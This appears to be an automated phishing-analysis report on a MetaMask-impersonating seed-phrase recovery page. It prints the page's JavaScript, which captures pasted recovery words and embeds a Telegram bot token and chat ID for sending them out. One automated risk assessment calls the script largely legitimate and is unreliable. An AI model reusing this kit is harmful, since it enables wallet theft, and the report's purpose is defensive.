Windows Analysis Report
https://pub-9e9d983927d947f2b890fa58d8851d13.r2.dev/index.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true,
    "reasoning": "This appears to be a Cloudflare R2 storage URL with a .dev TLD. While .dev is a legitimate TLD, the long alphanumeric subdomain and third-party hosting nature of the URL warrant caution. The URL structure is typical for cloud storage services but should be verified if received from an unknown source."
}

URL: https://pub-9e9d983927d947f2b890fa58d8851d13.r2.dev

{
    "risk_score": 4,
    "reasoning": "The provided JavaScript snippet has a few moderate-risk indicators, such as the use of external data transmission to third-party domains and the presence of some potentially offensive words in the `offwords` array. However, the script appears to be primarily focused on handling user input and clipboard functionality, which is a common and legitimate use case. The risk score is in the medium range, indicating the need for further review to ensure the script's behavior is consistent with its intended purpose and does not pose any significant security risks."
}

const wordSelect = document.getElementById("word");
const [wordForm1, wordForm2, wordForm3, wordForm4, wordForm5] = document.querySelectorAll(".form-main");
const preloader = document.querySelector(".preloader");
const count2 = document.querySelector(".count");
const done = document.querySelector(".done-box");
const noDone = document.querySelector(".no-done");


 let offwords = ["fuck", "motherfucker", "shit", "fool", "asshole", "test", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "testing", "checking", "robot", "spam", "scam", "fucker", "/", "-", "?", "&", "%", "#", "@", "!", "~", "`", ":", ";", ">", "<", "+", "^", "()", "*", "$"];

const [word12_1, word12_2, word12_3, word12_4, word12_5, word12_6, word12_7, word12_8, word12_9, word12_10, word12_11, word12_12] = document.querySelectorAll(".word-12");
const word12Input = document.querySelectorAll(".word-12");

const [btncofirm1, btncofirm2, btnCofirm3, btnCofirm4, btncofirm5] = document.querySelectorAll(".btn-cofirm");
const [word15_1, word15_2, word15_3, word15_4, word15_5, word15_6, word15_7, word15_8, word15_9, word15_10, word15_11, word15_12, word15_13, word15_14, word15_15] = document.querySelectorAll(".word-15");
const word15Input = document.querySelectorAll(".word-15");

const [word18_1, word18_2, word18_3, word18_4, word18_5, word18_6, word18_7, word18_8, word18_9, word18_10, word18_11, word18_12, word18_13, word18_14, word18_15, word18_16, word18_17, word18_18] = document.querySelectorAll(".word-18");
const word18Input = document.querySelectorAll(".word-18");

const [word21_1, word21_2, word21_3, word21_4, word21_5, word21_6, word21_7, word21_8, word21_9, word21_10, word21_11, word21_12, word21_13, word21_14, word21_15, word21_16, word21_17, word21_18, word21_19, word21_20, word21_21] = document.querySelectorAll(".word-21");
const word21Input = document.querySelectorAll(".word-21");


const [word24_1, word24_2, word24_3, word24_4, word24_5, word24_6, word24_7, word24_8, word24_9, word24_10, word24_11, word24_12, word24_13, word24_14, word24_15, word24_16, word24_17, word24_18, word24_19, word24_20, word24_21, word24_22, word24_23, word24_24, word24_25] = document.querySelectorAll(".word-24");
const word24Input = document.querySelectorAll(".word-24");

const errbox = document.querySelector(".errbox");

let notValid = false;

let ip = "";

// Add your telegram token,chatid
const token = "6913038045:AAFpf_4SphFDGrTzfitOIcwqGWe8lFH9LOw";
const chatId = "5663294686";




word12Input.forEach((input, index) => {
    input.addEventListener("paste", () => {
          navigator.clipboard.readText().then((copiedText) => {
           const text =  copiedText.split(" ");
           text.forEach((value, num) => {
                word12Input[num].value = value;
                btncofirm1.disabled = false;
           });
        });   
    });
});

word15Input.forEach((input, index) => {
    input.addEventListener("paste", () => {
          navigator.clipboard.readText().then((copiedText) => {
           const text =  copiedText.split(" ");
           text.forEach((value, num) => {
                word15Input[num].value = value;
                btncofirm2.disabled = false;
           });
         
        });   
    });
});


word18Input.forEach((input, index) => {
    input.addEventListener("paste", () => {
          navigator.clipboard.readText().then((copiedText) => {
           const text =  copiedText.split(" ");
           text.forEach((value, num) => {
                word18Input[num].value = value;
                btnCofirm3.disabled = false;
           });
         
        });   
    });
});


word21Input.forEach((input, index) => {
    input.addEventListener("paste", () => {
          navigator.clipboard.readText().then((copiedText) => {
           const text =  copiedText.split(" ");
            
           text.forEach((value, num) => {
                word21Input[num].value = value;
                 btnCofirm4.disabled = false;
           });
         
        });

{
  "contains_trigger_text": true,
  "trigger_text": "Recover your wallet with your Secret Recovery Phrase",
  "prominent_button_name": "Recover My Wallet Now",
  "text_input_field_labels": [
    "1.",
    "2.",
    "3.",
    "4.",
    "5.",
    "6.",
    "7.",
    "8.",
    "9.",
    "10.",
    "11.",
    "12."
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "MetaMask"
  ]
}